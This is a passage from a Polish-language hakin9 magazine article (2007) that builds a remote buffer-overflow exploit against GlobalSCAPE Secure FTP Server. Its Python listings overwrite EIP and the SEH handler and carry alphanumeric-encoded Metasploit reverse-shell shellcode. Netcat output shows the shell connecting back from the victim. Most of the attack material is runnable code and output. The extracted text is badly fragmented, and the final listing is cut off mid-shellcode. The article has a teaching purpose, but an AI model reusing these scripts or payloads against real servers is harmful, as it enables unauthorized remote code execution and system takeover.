znaków 

\x61 do \x7d

 (od a do z) w na-

szym buforze.

Określanie dostępnej 

objętości dla shellcode'u

Musimy  też  określić  dokładnie,  jak 
dużo  miejsca  mamy  na  nasz  shell-
code.  Możemy  to  zrobić  przesyłając 
dłuższy string (w naszym przypadku, 
1100 \xCC) i badając stos po crashu.

buffer = '\x41'*2043 + '\x42'*4 +'\

xCC'*1100

Możemy  zobaczyć,  że  nasz  orygi-
nalny  bufor  1100  znaków  ma  dłu-
gość 1088 bajtów w pamięci, licząc 
od  ESP.  Oznacza  to,  że  GSFTPS 

obcina jakiekolwiek dodatkowe bajty 
po 1088 znaku. Nasz shellcode mo-
że  mieć  maksymalnie  1088  bajtów. 
1d4feac – 1d4fa6c = 440h = 1088d.

Testowanie 

naszego exploita

Opierając  się  na  powyższych  in-
formacjach,  możemy  teraz  napisać 
szkielet dla naszego exploita. Może-
my  sprawdzić  poprawność  naszych 
obliczeń  modyfikując  nasz  POC. 
Zobacz Listing 3. Powoduje to nastę-
pującą awarię. Zobacz Rysunek 5.

Jak  widzimy,  mamy  teraz  całko-

witą  kontrolę  nad  EIP,  a  ECX  oraz 
ESP  pokazują  na  nasz  bufor  \x44
Wszystko,  co  pozostało  nam  teraz 
do zrobienia, to przekierowanie EIP 
do  naszego  bufora  kontrolowanego 
przez  użytkownika  w  ECX  lub  ESP 
i  upewnienie  się,  że  nasz  złośliwy 

shellcode  znajduje  się  w  jednej 

z  tych  dwóch  lokacji  (ja  wybieram 
ESP dla tego przykładu).

Dostęp do powłoki

Szukamy polecenia JMP/CALL ESP 
w  jednym  z  głównych  plików  syste-
mowych  dll,  (ja  użyłem  user32.dll
i  znajdujemy  jedno  przy 

7C4FEDBB. 

7C4FEDBB FFD4 CALL ESP

Użyjemy  tego  adresu  powrotne-

go,  aby  skoczyć  do  adresu,  który 
zawiera  dane  pochodzące  od  użyt-
kownika. Zauważmy, że adres, który 
wybieramy, jest podatny na filtrowa-
nie znaków! Zobacz Listing 4.

Wynikiem tego był crash pokaza-

ny na Rysunku 6.

Dzięki  temu  crashowi  możemy 

stwierdzić,  że  wszystko  wydaje  się 
działać oraz, że zostaliśmy pomyślnie 
przekierowani  do  naszego  breakpo-

int  shellcode'u  (\xCC).  Zamieniamy 
teraz  breakpointy  na  paskudny  live 

win32  reverse  shellcode  (wzięty  ze 
strony Metasploit). Będziemy używać 
enkodera PexAlphaNum, żeby dosto-
sować  się  do  schematu  filtrowania 
znaków GSFTPS. Zobacz Listing 5.

Podczas  działania  exploita  do-

chodzi do wykonania naszego kodu 

Listing 2. 

Unikalny string 3000 bajtów

bt

 ~ # 

genbuf

.

pl

 

3000

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad
9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8A
h9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8
Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap
8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7A
t8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7
Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb
7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6B
f7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6
Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn
6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5B
r6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5
Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz
5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4C
d5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4
Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl
4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3C
p4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3
Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx
3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2D
b3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2
Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj
2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1D
n2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1
Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv
1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9
bt

 ~ #

background image

Offensive Security

hakin9 Nr 7/2007

www.hakin9.org

15

–  i  do  naszych  drzwi  puka  reverse 

shell. Zobacz Listing 6.

Nadużycie SEH

Podczas  dalszego  badania  crashu 
zauważyłem,  że  to  samo  przepeł-
nienie  nadpisuje  funkcję  Structured 

Exception  Handler  (SEH).  SEH  jest 
wywoływana, kiedy w programie zo-
stanie  złapany  wyjątek.  Nadpisując 

SEH  i  powodując  wyjątek,  może-
my jeszcze raz przejąć kontrolę nad 
strumieniem wykonawczym.

Używając  metod  opisanych  po-

wyżej odkryłem, że kod SEH został 
nadpisany  przez  bajty  2100-2103. 
Następny  skrypt  spowodował  crash 
przedstawiony  na  Rysunku  7.  Za-
uważmy,  że  aby  przekazać  wyjątek 
do SEH, trzeba wcisnąć CTRL+F9 w 

Olly po wstępnym crashu. Rysunek 8 
zawiera nadpisany kod. Był to szkie-
let skryptu. Zobacz Listing 7.

Kiedy wyjątek zostanie przekaza-

ny przy użyciu CTRL+F9, otrzymuje-
my crash, tak, jak zostało to pokaza-
ne na Rysunku 9.

Dodatkowo  widzimy,  że  rejestr 

EBX pokazuje resztę danych pocho-
dzących  od  naszego  użytkownika, 
tak więc skok do EBX jest w porząd-
ku. Użyjemy 4 B do (krótkiego) skoku 
przez  podrobiony  kod  SEH,  żeby 
wylądować  w  naszym  shellcode
Zobacz Listing 8 i Listing 9.

Rysunek 5. 

Szkielet exploita

Rysunek 4. 

Dostępna przestrzeń dla shellcode'u

Listing 3. 

Modyfikacja PoC

#!/usr/bin/python

import

 

socket

import

 

struct

import

 

time

ret

 

=

 “\

x42

\

x42

\

x42

\

x42

buffer

 

=

 '\

x41

'

*

2043

 

+

 

ret

 

+

 “

   \

x43

*

4

 

+

 '\

x44

'

*

949

 #

   

Total

 

3000

 

bytes

!

s

=

socket

.

socket

(

socket

.

AF_INET

   

socket

.

SOCK_STREAM

)

connect

=

s

.

connect

   

((

'

192.168

.

0.100

',

21

))

d

=

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

USER

 

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

PASS

 

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

buffer

+

'

r

\

n

'

)

Listing 4. 

Przykład exploit 

zwracający poprawny adres

#!/usr/bin/python

import

 

socket

import

 

struct

import

 

time

ret

 

=

 

"

\x

bb

\x

ed

\x

4f

\x

7c"

buffer

 

=

 '\

x41

'

*

2043

 

+

 

ret

 

+

 

"

   

\x

43"

*

4

 

+

 '\

xCC

'

*

949

 #

   

Total

 

3000

 

bytes

!

s

=

socket

.

socket

(

socket

.

AF_INET

   

socket

.

SOCK_STREAM

)

connect

=

s

.

connect0

   

((

'

192.168

.

0.100

',

21

))

d

=

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

USER

 

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

PASS

 

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

buffer

+

'

r

\

n

'

)

background image

hakin9 Nr 7/2007

www.hakin9.org

Atak

16

Świetnie,  ale  co  dalej?  Jedy-

nym  problemem  na  tym  etapie  by-
ło  to,  że  nie  znałem  wersji  systemu 
operacyjnego  ofiary.  Jak  zobaczyli-

śmy wcześniej, użyte przez nas ad-
resy powrotne są zależne od syste-
mu operacyjnego, tak więc miałbym 
tylko  jedną  próbę  wykonania  explo-

ita  przeciwko  danemu  użytkowniko-
wi. Podejrzewałem, że na serwerze 
działał albo Windows 2000 SP4, al-
bo  Windows  2003  Sp0  –  co  dawa-
ło mi 50% szans uzyskania dostępu 
do serwera – szansa, z której nie za-
mierzałem skorzystać.

Skonsultowałem się z moim miej-

scowym guru od przepełnień bufora, 
który zaproponował, żebym spróbo-
wał napisać exploit podwójnego ad-

resu powrotnego. Po kilku tequilach 
zaczęło to mieć sens.

Listing 5. 

EIP overwrite exploit

#!/usr/bin/python

import

 

socket

import

 

struct

import

 

time

ret

 

=

 

"

\x

bb

\x

ed

\x

4f

\x

7c"

#win32_reverse - EXITFUNC=seh LHOST=192.168.0.112 LPORT=4321

   

Size

=

649

 

Encoder

=

PexAlphaNum

shellcode

=

   

(

"

\x

eb

\x

03

\x

59

\x

eb

\x

05

\x

e8

\x

f8

\x

ff

\x

ff

\x

ff

\x

4f

\x

49

\x

49

\x

49

\x

49

\x

49"

"

\x

49

\x

51

\x

5a

\x

56

\x

54

\x

58

\x

36

\x

33

\x

30

\x

56

\x

58

\x

34

\x

41

\x

30

\x

42

\x

36"

"

\x

48

\x

48

\x

30

\x

42

\x

33

\x

30

\x

42

\x

43

\x

56

\x

58

\x

32

\x

42

\x

44

\x

42

\x

48

\x

34"

"

\x

41

\x

32

\x

41

\x

44

\x

30

\x

41

\x

44

\x

54

\x

42

\x

44

\x

51

\x

42

\x

30

\x

41

\x

44

\x

41"

"

\x

56

\x

58

\x

34

\x

5a

\x

38

\x

42

\x

44

\x

4a

\x

4f

\x

4d

\x

4e

\x

4f

\x

4c

\x

36

\x

4b

\x

4e"

"

\x

4d

\x

44

\x

4a

\x

4e

\x

49

\x

4f

\x

4f

\x

4f

\x

4f

\x

4f

\x

4f

\x

4f

\x

42

\x

56

\x

4b

\x

38"

"

\x

4e

\x

36

\x

46

\x

42

\x

46

\x

42

\x

4b

\x

38

\x

45

\x

44

\x

4e

\x

53

\x

4b

\x

48

\x

4e

\x

47"

"

\x

45

\x

50

\x

4a

\x

57

\x

41

\x

50

\x

4f

\x

4e

\x

4b

\x

38

\x

4f

\x

34

\x

4a

\x

51

\x

4b

\x

58"

"

\x

4f

\x

55

\x

42

\x

42

\x

41

\x

50

\x

4b

\x

4e

\x

49

\x

34

\x

4b

\x

38

\x

46

\x

53

\x

4b

\x

38"

"

\x

41

\x

50

\x

50

\x

4e

\x

41

\x

43

\x

42

\x

4c

\x

49

\x

39

\x

4e

\x

4a

\x

46

\x

58

\x

42

\x

4c"

"

\x

46

\x

57

\x

47

\x

30

\x

41

\x

4c

\x

4c

\x

4c

\x

4d

\x

50

\x

41

\x

30

\x

44

\x

4c

\x

4b

\x

4e"

"

\x

46

\x

4f

\x

4b

\x

33

\x

46

\x

35

\x

46

\x

42

\x

4a

\x

52

\x

45

\x

37

\x

45

\x

4e

\x

4b

\x

38"

"

\x

4f

\x

55

\x

46

\x

52

\x

41

\x

50

\x

4b

\x

4e

\x

48

\x

36

\x

4b

\x

48

\x

4e

\x

50

\x

4b

\x

44"

"

\x

4b

\x

48

\x

4f

\x

55

\x

4e

\x

31

\x

41

\x

30

\x

4b

\x

4e

\x

43

\x

50

\x

4e

\x

32

\x

4b

\x

38"

"

\x

49

\x

38

\x

4e

\x

36

\x

46

\x

42

\x

4e

\x

31

\x

41

\x

46

\x

43

\x

4c

\x

41

\x

33

\x

4b

\x

4d"

"

\x

46

\x

56

\x

4b

\x

38

\x

43

\x

44

\x

42

\x

53

\x

4b

\x

48

\x

42

\x

54

\x

4e

\x

50

\x

4b

\x

48"

"

\x

42

\x

37

\x

4e

\x

41

\x

4d

\x

4a

\x

4b

\x

58

\x

42

\x

54

\x

4a

\x

50

\x

50

\x

55

\x

4a

\x

56"

"

\x

50

\x

38

\x

50

\x

44

\x

50

\x

50

\x

4e

\x

4e

\x

42

\x

55

\x

4f

\x

4f

\x

48

\x

4d

\x

48

\x

46"

"

\x

43

\x

55

\x

48

\x

46

\x

4a

\x

56

\x

43

\x

33

\x

44

\x

53

\x

4a

\x

56

\x

47

\x

37

\x

43

\x

37"

"

\x

44

\x

43

\x

4f

\x

55

\x

46

\x

35

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

36

\x

4b

\x

4c

\x

4d

\x

4e"

"

\x

4e

\x

4f

\x

4b

\x

33

\x

42

\x

35

\x

4f

\x

4f

\x

48

\x

4d

\x

4f

\x

35

\x

49

\x

48

\x

45

\x

4e"

"

\x

48

\x

46

\x

41

\x

48

\x

4d

\x

4e

\x

4a

\x

50

\x

44

\x

50

\x

45

\x

55

\x

4c

\x

56

\x

44

\x

30"

"

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

46

\x

49

\x

4d

\x

49

\x

50

\x

45

\x

4f

\x

4d

\x

4a

\x

47

\x

45"

"

\x

4f

\x

4f

\x

48

\x

4d

\x

43

\x

35

\x

43

\x

55

\x

43

\x

35

\x

43

\x

55

\x

43

\x

34

\x

43

\x

45"

"

\x

43

\x

44

\x

43

\x

45

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

36

\x

42

\x

4c

\x

4a

\x

4a

\x

42

\x

50"

"

\x

42

\x

47

\x

48

\x

56

\x

4a

\x

56

\x

42

\x

51

\x

41

\x

4e

\x

48

\x

56

\x

43

\x

35

\x

49

\x

38"

"

\x

41

\x

4e

\x

45

\x

49

\x

4a

\x

46

\x

4e

\x

4e

\x

49

\x

4f

\x

4c

\x

4a

\x

42

\x

36

\x

47

\x

45"

"

\x

4f

\x

4f

\x

48

\x

4d

\x

4c

\x

56

\x

42

\x

31

\x

41

\x

35

\x

45

\x

55

\x

4f

\x

4f

\x

42

\x

4d"

"

\x

48

\x

56

\x

4c

\x

46

\x

46

\x

56

\x

48

\x

36

\x

4a

\x

56

\x

43

\x

36

\x

4d

\x

56

\x

4c

\x

36"

"

\x

42

\x

35

\x

49

\x

35

\x

49

\x

42

\x

4e

\x

4c

\x

49

\x

48

\x

47

\x

4e

\x

4c

\x

56

\x

46

\x

44"

"

\x

49

\x

38

\x

44

\x

4e

\x

41

\x

43

\x

42

\x

4c

\x

43

\x

4f

\x

4c

\x

4a

\x

45

\x

49

\x

49

\x

38"

"

\x

4d

\x

4f

\x

50

\x

4f

\x

44

\x

44

\x

4d

\x

52

\x

50

\x

4f

\x

44

\x

54

\x

4e

\x

52

\x

4d

\x

38"

"

\x

4c

\x

47

\x

4a

\x

33

\x

4b

\x

4a

\x

4b

\x

4a

\x

4b

\x

4a

\x

4a

\x

36

\x

44

\x

57

\x

50

\x

4f"

"

\x

43

\x

4b

\x

48

\x

41

\x

4f

\x

4f

\x

45

\x

37

\x

4a

\x

52

\x

4f

\x

4f

\x

48

\x

4d

\x

4b

\x

35"

"

\x

47

\x

55

\x

44

\x

35

\x

41

\x

45

\x

41

\x

55

\x

41

\x

35

\x

4c

\x

36

\x

41

\x

30

\x

41

\x

55"

"

\x

41

\x

55

\x

45

\x

55

\x

41

\x

55

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

36

\x

4d

\x

4a

\x

49

\x

4d"

"

\x

45

\x

30

\x

50

\x

4c

\x

43

\x

55

\x

4f

\x

4f

\x

48

\x

4d

\x

4c

\x

36

\x

4f

\x

4f

\x

4f

\x

4f"

"

\x

47

\x

43

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

46

\x

47

\x

4e

\x

49

\x

47

\x

48

\x

4c

\x

49

\x

37"

"

\x

4f

\x

4f

\x

45

\x

47

\x

46

\x

50

\x

4f

\x

4f

\x

48

\x

4d

\x

4f

\x

4f

\x

47

\x

37

\x

4e

\x

4f"

"

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

46

\x

42

\x

4f

\x

4c

\x

48

\x

46

\x

50

\x

4f

\x

45

\x

43

\x

55"

"

\x

4f

\x

4f

\x

48

\x

4d

\x

4f

\x

4f

\x

42

\x

4d

\x

5a"

)

buffer

 

=

 '\

x41

'

*

2043

 

+

 

ret

 

+

 

"

\x

90"

*

4

 

+

 

shellcode

 

+

'\

xCC

'

*

296

 

s

=

socket

.

socket

(

socket

.

AF_INET

socket

.

SOCK_STREAM

)

connect

=

s

.

connect

((

'

192.168

.

0.100

',

21

))

d

=

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

USER

 

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

PASS

 

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

buffer

+

'

r

\

n

'

)

Listing 6. 

Pobieranie informacji 

z linii komend w Windows 2000 

SP4

bt

 ~ # 

nc

 

-

lvp

 

4321

listening

 

on

 

[

any

]

 

4321

 

connect

 

to

 

[

192.168

.

0.112

]

 

from

 

ftp

.

   

localdomain

 

[

192.168

.

0.100

]

 

1215

Microsoft

 

Windows

 

2000

   

[

Version

 

5.00

.

2195

]

(

C

)

 

Copyright

 

1985

-

2000

    

Microsoft

 

Corp

.

C

:

\

WINNT

\

system32

>

ipconfig

ipconfig

Windows

 

2000

 

IP

 

Configuration

Ethernet

 

adapter

 

Local

 

Area

   

Connection

:

   

Connection

-

specific

 

DNS

 

Suffix

  

localdomain

   

IP

 

Address

. . . . 

192.168

.

0.100

   

Subnet

 

Mask

 . . . 

255.255

.

255.0

   

Default

 

Gateway

 . . . 

192.168

.

0.1

C

:

\

WINNT

\

system32

>

Listing 7. 

Szkielet exploit dla 

SEH overwrite

#!/usr/bin/python

import

 

socket

import

 

struct

import

 

time

buffer

 

=

 '\

x41

'

*

2099

+

 '\

x42

'

*

4

+

'

   \

x43

'

*

4

+

'\

x44

'

*

900

try

:

s

=

socket

.

socket

(

socket

.

AF_INET

,

   

socket

.

SOCK_STREAM

)

connect

=

s

.

connect

   

((

'

192.168

.

0.110

',

21

))

d

=

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

USER

 

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

PASS

 

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

buffer

+

'

r

\

n

'

)

except

:

print

 

"Can't connect to ftp"

background image

Offensive Security

hakin9 Nr 7/2007

www.hakin9.org

17

Zdałem  sobie  sprawę  z  tego,  że 

mógłbym  wykorzystać  ten  interesu-
jący  crash  (zarówno  EIP  jak  i  SEH) 
do stworzenia planu zapasowego we-
wnątrz  exploita.  Użyłbym  oryginal-
nego  exploita  Win2k  SP4  i  zmodyfi-
kował  go  nieznacznie,  aby  nadpisać 
SEH  Windows  2003.  W  ten  sposób, 
jeśli systemem ofiary byłby Windows 
2000 SP4, exploit zadziałałby normal-
nie.  Jeśli  natomiast  systemem  byłby 
Windows 2003, oryginalny exploit nie 
zadziałałby  i  nastąpiłoby  wywołanie 
funkcji SEH, której kod byłby już nad-
pisany przez drugi adres powrotny

Analizując  przepełnienie  SEH 

w  Windows  2003  zobaczyłem,  że 
potrzebowałbym  pop  pop  ret,  aby 
powrócić  do  mojego  shellcode'u. 
Znalazłem  następujący  fragment 

kodu w AuthManager.dll (dll będący 
częścią GSFTPS):

10010216   5F             POP EDI
10010217   5E             POP ESI
10010218   C3             RETN

Odpowiadało  to  moim  potrze-
bom,  zwłaszcza  dlatego,  że  adres 
10010216  również  podporządkowu-
je się schematowi filtrowania znaków 
GSFTPS.  Po  pewnych  przeróbkach 
miałem projekt następującego szkie-
letu exploita:

buffer  =  '\x41'*2043  +  “\x42”*4 

+  "\x90"*52  +“\x43”*4  +“\x44”*4+'\
xCC'*941

. gdzie:

•  \x42  =  adres  powrotny  dla  Win-

dows 2000 SP4

•  \x43 = Short Jump do shellcode-

'u 

•  \x44 =  adres  pop  pop  ret  dla  po-

wrotu  Windows  2003  do  shelco-
de'u
Oto  próba  graficznego  opisu 

strumienia  wykonawczego.  Zobacz 
Rysunek 10.

Rysunek 8. 

Nadpisany kod SEH

Rysunek 7. 

Nadpisana funkcja SEH

Rysunek 6. 

Skok do naszego shellcode'u

Listing. 8. 

SEH Overwrite 

exploit

#!/usr/bin/python

import

 

socket

import

 

struct

import

 

time

buffer

 

=

 '\

x41

'

*

2099

+

'\

xEB

   \

x06

\

x06

\

xEB

'+'\

xb2

\

x54

      \

x53

\

x7c

'+'\

x90

'

*

59

+

sc

s

=

socket

.

socket

(

socket

.

AF_INET

,

   

socket

.

SOCK_STREAM

)

print

 

"

\n

[+] Evil GlobalFTP 3.0

   Secure Server Exploit"

print

 

"[+] Coded by muts"

connect

=

s

.

connect

   

((

'

192.168

.

0.110

',

21

))

d

=

s

.

recv

(

1024

)

print

 

"[+] "

 

+

d

print

 

"[+] Sending Username"

   

time

.

sleep

(

1

)

s

.

send

(

'

USER

 

ftp

\

r

\

n

'

)

   

s

.

recv

(

1024

)

print

 

"[+] Sending Password"

   

time

.

sleep

(

1

)

s

.

send

(

'

PASS

 

ftp

\

r

\

n

'

)

   

s

.

recv

(

1024

)

print

 

"[+] Sending evil buffer"

   

time

.

sleep

(

1

)

s

.

send

(

buffer

+

'

r

\

n

'

)

Listing 9. 

Zwrotny Shell 

z Windows 2000

bt

 ~ # 

nc

 

-

lvp

 

4321

listening

 

on

 

[

any

]

 

4321

 ...

connect

 

to

 

[

192.168

.

0.112

]

 

from

   97

DACBEC7CA4483

.

    

localdomain

 

[

192.168

.

0.100

]

 

1041

 

Microsoft

 

Windows

 

2000

   

[

Version

 

5.00

.

2195

]

(

C

)

Copyright

 

1985

-

2000

   

Microsoft

 

Corp

.

C

:

\

WINNT

\

system32

>

background image

hakin9 Nr 7/2007

www.hakin9.org

Atak

18

Listing 10. 

Ostateczna wersja

#!/usr/bin/python

import

 

socket

import

 

struct

import

 

time

#

ret

 

=

 

"

\x

41

\x

41

\x

41

\x

41"

ret

 

=

 

"

\x

bb

\x

ed

\x

4f

\x

7c"

# POP POP RET IN AuthManager.dll Windows 2003 SP0

#10010216   5F             POP EDI

#10010217   5E             POP ESI

#10010218   C3             RETN

# CALL ESP in Kernel32.dll Windows 2000 SP4 

# 7C4FEDBB   FFD4            CALL ESP

#win32_reverse - EXITFUNC=seh LHOST=192.168.0.112 LPORT=4321 Size=649 Encoder=PexAlphaNum http://metasploit.com */

shellcode

=(

"

\x

eb

\x

03

\x

59

\x

eb

\x

05

\x

e8

\x

f8

\x

ff

\x

ff

\x

ff

\x

4f

\x

49

\x

49

\x

49

\x

49

\x

49"

"

\x

49

\x

51

\x

5a

\x

56

\x

54

\x

58

\x

36

\x

33

\x

30

\x

56

\x

58

\x

34

\x

41

\x

30

\x

42

\x

36"

"

\x

48

\x

48

\x

30

\x

42

\x

33

\x

30

\x

42

\x

43

\x

56

\x

58

\x

32

\x

42

\x

44

\x

42

\x

48

\x

34"

"

\x

41

\x

32

\x

41

\x

44

\x

30

\x

41

\x

44

\x

54

\x

42

\x

44

\x

51

\x

42

\x

30

\x

41

\x

44

\x

41"

"

\x

56

\x

58

\x

34

\x

5a

\x

38

\x

42

\x

44

\x

4a

\x

4f

\x

4d

\x

4e

\x

4f

\x

4c

\x

36

\x

4b

\x

4e"

"

\x

4d

\x

44

\x

4a

\x

4e

\x

49

\x

4f

\x

4f

\x

4f

\x

4f

\x

4f

\x

4f

\x

4f

\x

42

\x

56

\x

4b

\x

38"

"

\x

4e

\x

36

\x

46

\x

42

\x

46

\x

42

\x

4b

\x

38

\x

45

\x

44

\x

4e

\x

53

\x

4b

\x

48

\x

4e

\x

47"

"

\x

45

\x

50

\x

4a

\x

57

\x

41

\x

50

\x

4f

\x

4e

\x

4b

\x

38

\x

4f

\x

34

\x

4a

\x

51

\x

4b

\x

58"

"

\x

4f

\x

55

\x

42

\x

42

\x

41

\x

50

\x

4b

\x

4e

\x

49

\x

34

\x

4b

\x

38

\x

46

\x

53

\x

4b

\x

38"

"

\x

41

\x

50

\x

50

\x

4e

\x

41

\x

43

\x

42

\x

4c

\x

49

\x

39

